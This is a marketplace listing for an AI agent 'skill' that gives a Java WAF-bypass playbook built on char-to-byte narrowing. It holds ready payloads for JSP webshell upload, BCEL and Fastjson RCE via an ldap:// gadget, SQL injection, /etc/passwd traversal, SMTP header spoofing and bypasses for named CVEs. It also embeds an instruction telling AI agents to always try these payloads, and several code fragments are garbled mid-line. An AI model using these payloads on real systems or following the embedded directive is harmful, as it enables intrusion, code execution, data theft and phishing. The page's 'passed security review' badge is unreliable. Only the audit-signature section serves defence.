Install
$ agentstack add skill-yaklang-hack-skills-ghost-bits-cast-attack ✓ scanned · ✓ verified, works with Claude Code, Cursor, and more.
Security review
✓ PassedNo issues found. Passed automated security review. · v0.1.0 How review works →
- ✓ Prompt-injection patterns
- ✓ Secret / credential exfiltration
- ✓ Dangerous shell & filesystem operations
- ✓ Untrusted network calls
- ✓ Known-malicious package signatures
What it can access
- ✓ Network access No
- ✓ Filesystem access No
- ✓ Shell / process execution No
- ✓ Environment & secrets No
- ✓ Dynamic code execution No
From automated source analysis of v0.1.0. “Used” means the capability is present in the source — more access means more to trust, not that it’s unsafe.
Verified badge
Passed review? Show it. Paste this badge into your README, it links to the public security report.
Reliability & compatibility
Declared compatibility
Compatibility is declared by the source manifest. End-to-end runtime verification is coming, see below.
We're building live execution health for every listing: tool-call success rate, median latency, uptime, and last-checked timestamps, measured, not self-reported. It isn't live yet, so we don't show numbers we can't stand behind.
How agent discovery & health will work →About
SKILL: Ghost Bits / Cast Attack — Java char to byte Narrowing Playbook
> AI LOAD INSTRUCTION: This is a Java-only injection-enabling primitive, > not a standalone vulnerability class. Whenever you see (1) a Java backend, > (2) a WAF/IDS in front of it, and (3) any of {SQLi, deser RCE, file upload, > path traversal, CRLF, request smuggling, SMTP injection} on the menu, ALWAYS > try Ghost Bits variants of the payload before declaring it "blocked". The > root cause is the silent loss of the high 8 bits when Java code narrows a > 16-bit char to an 8-bit byte — the WAF sees a harmless Unicode > character, the backend reconstructs the original ASCII attack byte. Base > models almost never reach for this primitive. > > Source: Black Hat Asia 2026 talk Cast Attack: A New Threat Posed by Ghost > Bits in Java by Xinyu Bai (@b1u3r), Zhihui Chen (@1ue), with contributor > Zongzheng Zheng (@chun_springX).
0. RELATED ROUTING
Ghost Bits is a bypass primitive that re-enables payloads from many other playbooks. Pair it with whichever attack family applies:
- [waf-bypass-techniques](../waf-bypass-techniques/SKILL.md) — when a Java
backend is suspected and WAF rules block the literal payload, this is the first technique to try beyond classic encoding.
- [deserialization-insecure](../deserialization-insecure/SKILL.md) — for
Apache Commons BCEL ClassLoader and Fastjson \u/\x escape variants.
- [path-traversal-lfi](../path-traversal-lfi/SKILL.md) — Spring, Jetty,
Undertow, Vert.x URL decoding and %2> hex folding.
- [upload-insecure-files](../upload-insecure-files/SKILL.md) — Tomcat
RFC2231Utility filename* Webshell upload.
- [request-smuggling](../request-smuggling/SKILL.md) — Apache HttpClient
` 0x6A out.write(ch); // ByteArrayOutputStream.write(int) keeps low 8 bits dos.writeBytes(str); // DataOutputStream loops char->byte cast int v = ch & 0xFF; // explicit low-byte mask
The lost high 8 bits are the **Ghost Bits**. They turn a multi-byte
Unicode character into a single attacker-chosen ASCII byte at the protocol
layer.
View A (string layer: WAF / business validation / logs) sees: 陪 阮 严 灵 瘍 瘊 ... "harmless Unicode garbage, allow" | v silent narrowing somewhere in the call stack View B (byte layer: protocol / file system / parser / class loader) sees: j . % u \r \n ... "executes the dangerous semantics"
The boundary is breached at the exact moment "view A" and "view B" disagree.
Mathematical formulation: to make View B see byte `T`, pick any
`k in 0x01..0xFF` and use:
c = chr((k > 6) * 25; x -= 16; return x; // expected 0..15, but no range check }
Worked example: feed `>` (0x3E):
0x3E & 0x1F = 0x1E = 30 (0x3E >> 6) * 25 = 0 30 + 0 - 16 = 14 = 0xE
So `%2>` is silently parsed as `%2E` = `.`. The same algebra makes `%2^`,
`%2~` etc. equivalent to other hex digits.
Typical impact: Openfire CVE-2023-32315, GeoServer CVE-2024-36401, generic
URL-decode WAF bypass.
### Family C — Lax Unicode normalization
The decoder accepts Unicode characters that happen to be classified as
"digit" or that map to a hex value via a `& 0xFF` lookup — even though they
were never meant to participate in protocol parsing.
```java
// Fastjson: too permissive
Character.digit(c, 16); // accepts Thai, Punjabi, fullwidth digits
// Jackson: index by low 8 bits into an ASCII-only table
return sHexValues[ch & 0xff];
// Generic: fullwidth normalization
// '2' (U+FF12) -> '2', 'e' (U+FF45) -> 'e'
Typical impact: Fastjson \u and \x escape bypass, fullwidth URL-encoded path traversal, Jackson charToHex SQLi smuggling.
3. CHARACTER GENERATOR
Build any Ghost Bits character on the fly. This is the single function every agent should keep in mind:
# Python
def ghost(target_byte: int, k: int = 1) -> str:
"""Return a Unicode char whose low 8 bits equal target_byte."""
return chr(((k & 0xFF) ` | 0x3E | XSS / XML tag end | `Ⱦ` | U+023E |
| `@` | 0x40 | Fastjson `@type`, mail address | `ŀ` | U+0140 |
| `a` | 0x61 | keyword `class`, alphabet | `ᙡ` | U+1661 |
| `c` | 0x63 | keyword `class`, `cmd` | `㹣` | U+3E63 |
| `e` | 0x65 | hex digit | `来` | U+6765 |
| `j` | 0x6A | extension `.jsp` | `陪` | U+966A |
| `l` | 0x6C | keyword `class`, `closure` | `౬` | U+0C6C |
| `n` | 0x6E | keyword `Runtime`, `union` | `陮` | U+966E |
| `s` | 0x73 | keyword `class`, `select` | `⑳` | U+2473 |
| `t` | 0x74 | keyword `Runtime`, `type` | `Ŵ` | U+0174 |
| `u` | 0x75 | `\u` escape introducer | `灵` | U+7075 |
Workflow tip: keep the ASCII `Ŀ`, `ȧ`, `ȼ`, etc. variants for tight HTTP
header contexts (one byte UTF-8 expansion stays smaller); use CJK like `阮`,
`陪`, `严` when you want to bias the WAF "this is just text" classifier.
---
## 5. PER-COMPONENT PAYLOAD RECIPES
Every recipe shows the dual view: what the WAF inspects vs. what the backend
actually executes. This is the only reliable way to explain *why* the payload
goes through.
### 5.1 Tomcat `RFC2231Utility` — file upload Webshell (Family A)
Trigger: any endpoint that accepts multipart upload and Tomcat parses
`Content-Disposition: ... filename*=UTF-8''...`. Tomcat's RFC2231 decoder
casts each non-percent character directly to byte, dropping the high 8 bits.
Payload:
Content-Disposition: attachment; filename*=UTF-8''1.陪sp
| Stage | Filename it sees |
|------------------------|--------------------------|
| WAF / extension filter | `1.陪sp` (not `.jsp`, allow) |
| Tomcat RFC2231 decoder | `陪` -> low byte 0x6A -> `j` |
| File system | `1.jsp` |
Combine with traversal characters from section 4 (`阮`, `丯`) when the upload
target directory is fixed but the application accepts a `filename*`.
### 5.2 Apache Commons BCEL — ClassLoader RCE (Family A)
Trigger: any sink that resolves a class name through `BCEL` (`$$BCEL$$...`)
or any code that decodes BCEL via the `JavaReader` -> `ByteArrayOutputStream`
loop.
Vulnerable shape:
```java
ByteArrayOutputStream bos = new ByteArrayOutputStream();
JavaReader jr = new JavaReader(new CharArrayReader(userChars));
while ((ch = jr.read()) >= 0) {
bos.write(ch); // low 8 bits only
}
Attack: wrap each byte of the malicious BCEL bytecode into a Unicode character whose low 8 bits equal that byte. The decoded byte stream is a valid BCEL class; the WAF sees a long blob of CJK text without $$BCEL$$ keywords or class signatures.
| View | Content | |------|---------| | WAF | $$BCEL$$ followed by random looking CJK | | BCEL | standard BCEL class file bytes → JVM defineClass → RCE |
Defense for blue team: a WAF inspecting BCEL must replicate the bos.write(ch) semantics on each character before pattern matching.
5.3 Jackson charToHex — SQLi smuggling (Family C)
Trigger: any Jackson-parsed JSON field whose value is later embedded in SQL or another parser. Jackson resolves \uXXXX digits via:
private static final int[] sHexValues = new int[128];
public static int charToHex(int ch) {
return sHexValues[ch & 0xFF]; // mask first, lookup second
}
Any non-ASCII character whose low 8 bits land on a populated index returns that hex digit. The WAF sees gibberish; Jackson reconstructs an ASCII payload.
Payload (smuggle the digit 1 for a UNION column count):
{"q": "\u丰丰耳失 union select 1,2,3 -- "}
| View | Content | |---------|-----------------------------------------------------| | WAF | \u丰丰耳失 union select ... (no leading digit) | | Jackson | \u0031 union select 1,2,3-- -> 1 union select… |
Pair with [sqli-sql-injection](../sqli-sql-injection/SKILL.md) for the downstream UNION / boolean / time-based payload templates.
5.4 Fastjson — \u and \x escape bypass (Families B + C)
Two independent surfaces:
(a) \u escape — Character.digit(c, 16) accepts Unicode digit categories beyond ASCII (Thai ๐-๙ U+0E50..U+0E59, Punjabi ੦-੯ U+0A66..U+0A6F, fullwidth 0-9 U+FF10..U+FF19).
{"\u4_type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://x"}
WAF view: \u4_type (no @type literal). Fastjson normalizes fullwidth 4 to 4, then handles _ via the \x shortcut below, yielding @type.
(b) \x escape — Fastjson computes digits[x1] * 16 + digits[x2]. An illegal hex character returns the default value 0.
\x4_ -> '4'(=4) * 16 + '_'(=0) = 0x40 = '@'
{"\x4_type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://x"}
| View | Field name | |----------|------------| | WAF | \x4_type (not @type) | | Fastjson | @type -> JdbcRowSetImpl autotype gadget triggers |
5.5 Spring / Jetty / Undertow / Vert.x — URL decoding (Families A + B)
Two combinable tricks:
Trick 1 — Family A character substitution in path or query:
/api/v1/data?file=阮丯阮丯etc丯passwd
= ../../etc/passwd at the byte layer
Trick 2 — Family B %2> folding when Jetty's TypeUtil.fromHexDigit is in the chain:
/setup/setup-s/%2>%2>/log.jsp
= /setup/setup-s/../log.jsp after decode
Either alone bypasses most signature WAFs; combined they survive even "normalized then matched" rules that only see ASCII percent triplets.
Spring CVE-2025-41242 chain (StringUtils.uriDecode patched in PR #34673):
input : 阮严灵丰丰甲来
(.)(%)(u)(0)(0)(2)(e)
narrow: .%u002e
decode: ..
result: arbitrary file read via path traversal
| Stage | Path | |-----------------|----------------| | Spring isInvalidPath() | .%u002e — no literal .., allow | | Backend file resolution | .. after %u002e decode → traversal |
5.6 Angus Mail / Jakarta Mail — SMTP injection (Family A)
Trigger: any application that builds SMTP envelopes or headers from user-controlled strings. Internal ASCIIUtility does:
byte b = (byte) ch; // 16-bit char silently narrowed
Smuggle CRLF as 瘍瘊:
hacker@evil.com瘍瘊Subject: Password reset code瘍瘊To: target@victim.com瘍瘊瘍瘊Your code is 1234
| View | What it parses | |------|----------------| | Application validation | a single From value containing odd CJK | | SMTP server | five separate header lines + body, fully spoofed |
Real impact pattern: Jira-style (CVE-2025-57733) password-reset hijacking, Confluence domain allowlist bypass — pair with [crlf-injection](../crlf-injection/SKILL.md) for non-mail CRLF reuse.
5.7 Apache HttpClient `alert(1)
Server emits two logical responses; the second carries an attacker-chosen
body. Escalates to stored XSS, cache poisoning, and SSO redirect chains.
### 5.9 Other affected components
Same Family A primitive, different sink:
- **Lettuce (Redis client)** — command injection by smuggling `\r\n` into
RESP frames; chain to arbitrary `CONFIG SET dir` + `SAVE` for SSRF-to-RCE.
- **Jodd `FileNameUtil`** — path traversal via `阮` and `丯` because its
internal write loop narrows.
- **XMLWriter** — tag-name injection when an attribute or text node value is
pushed through a low-byte writer; XXE / XSS pivot.
- **ActiveJ HTTP** — CRLF injection identical in shape to 5.7 / 5.8.
- **Vert.x HTTP body parser** — Family A in `MultipartParser`.
See [PAYLOAD_COOKBOOK.md](./PAYLOAD_COOKBOOK.md) for affected-version
matrix and full per-component payload skeletons.
---
## 6. KNOWN-CVE BYPASS RECIPES
Use these *exactly when the corresponding CVE is patched but a WAF still
fronts the service*. Each Payload below shifts the original ASCII attack into
a form that survives string-based WAF rules.
### Openfire CVE-2023-32315 — auth bypass (Family B)
Original public bypass:
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp
Ghost Bits / `%2>` folding bypass (much harder to signature):
GET /setup/setup-s/%2>%2>/%2>%2>/log.jsp
Each `%2>` collapses through Jetty's lax hex into `%2E` = `.`, yielding the
same `../../` traversal without ever emitting `..` or `%2e` to the WAF.
### GeoServer CVE-2024-36401 — RCE via `Runtime` keyword (Family B)
Public WAF rules typically block `Runtime`. Inject one folded character:
Ru%6>time
Decoder math: `%6>` -> `%6E` -> `n`. The expression evaluator now sees
`Runtime`, the WAF never did.
### Spring4Shell CVE-2022-22965 — class loader chain (Family A)
Required parameter prefix `class.module.classLoader...`. WAFs block the
literal `class`. Substitute via low-byte chars:
Content-Disposition: form-data; name*="㹣౬ᙡ⑳⑳.module.classLoader.resources..."
| Component | Char | Code point | Low byte |
|-----------|-------|------------|----------|
| `c` | `㹣` | U+3E63 | 0x63 |
| `l` | `౬` | U+0C6C | 0x6C |
| `a` | `ᙡ` | U+1661 | 0x61 |
| `s` | `⑳` | U+2473 | 0x73 |
| `s` | `⑳` | U+2473 | 0x73 |
Springs's parameter-name resolver narrows back to `class`.
### Spring CVE-2025-41242 — arbitrary file read (Family A + Family B mix)
Already demonstrated in 5.5 above. Payload `阮严灵丰丰甲来` ->
`.%u002e` -> `..` after decode-after-validation.
### Jakarta Mail CVE-2025-57733 — Jira-style mail hijack (Family A)
to=victim@org.com瘍瘊Subject: Reset code瘍瘊To: attacker@evil.com瘍瘊瘍瘊Your code is 1234
The mail leaves the company SMTP server with valid SPF / DKIM / DMARC, but
its `To:` and `Subject:` are attacker-chosen — high-fidelity phishing.
---
## 7. DETECTION DECISION TREE
Use this when triaging a target. The point is to avoid Ghost Bits when it
cannot help and to *always* try it when the preconditions hold.
Is the backend Java? (Server header, error page, JSESSIONID, .do/.action, WebGoat-style stack trace, X-Powered-By, X-Frame-Options with Tomcat default values) ├── No -> stop, Ghost Bits does not apply └── Yes │ ├── Is there a WAF / IDS or input filter blocking your literal payload? │ ├── No -> use the literal payload; Ghost Bits is overkill │ └── Yes -> continue │ ├── Which sink are you targeting? │ ├── File upload via multipart -> recipe 5.1 (Tomcat filename*) │ ├── JSON deserialization -> recipes 5.3 (Jackson) / 5.4 (Fastjson) │ ├── Class loader / BCEL ref -> recipe 5.2 │ ├── URL path / parameter -> recipe 5.5 + Family B %2> │ ├── Header reflection -> recipes 5.7 / 5.8 │ ├── Mail send -> recipe 5.6 │ └── Redis / RESP / XML / RPC -> recipe 5.9 │ ├── Probe with a single non-destructive substitution first │ (replace ONE character with its Ghost variant; observe response │ diff: status code, length, header echo, error message, time) │ └── If observable difference appears -> escalate by substituting all blocked characters and chain through the linked playbook.
---
## 8. SAST / CODE-AUDIT SIGNATURES
Three priority tiers when reviewing Java source. Search across all your
project repos, all dependencies you can shade, and the `lib/` of any
deployed appliance.
### Tier 1 — direct narrowing (Family A)
\(byte\)\s\w+ &\s0[xX][fF][fF] &\s255 \.write\(\s[a-zA-Z_]\w\s\) # OutputStream.write(int) writeBytes\s\( StringBufferInputStream String\.getBytes\s\(\sint RandomAccessFile.writeBytes
### Tier 2 — lax hex / digit decoding (Families B + C)
Character\.digit\s*\( fromHexDigit convertHexDigit fromH
…
Source & license
This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.
- Author: yaklang
- Source: yaklang/hack-skills
- License: MIT
Install and usage instructions live in the source repository linked above.
Reviews
No reviews yet, be the first.
Write a review
Versions
- v0.1.0 Imported from the upstream source.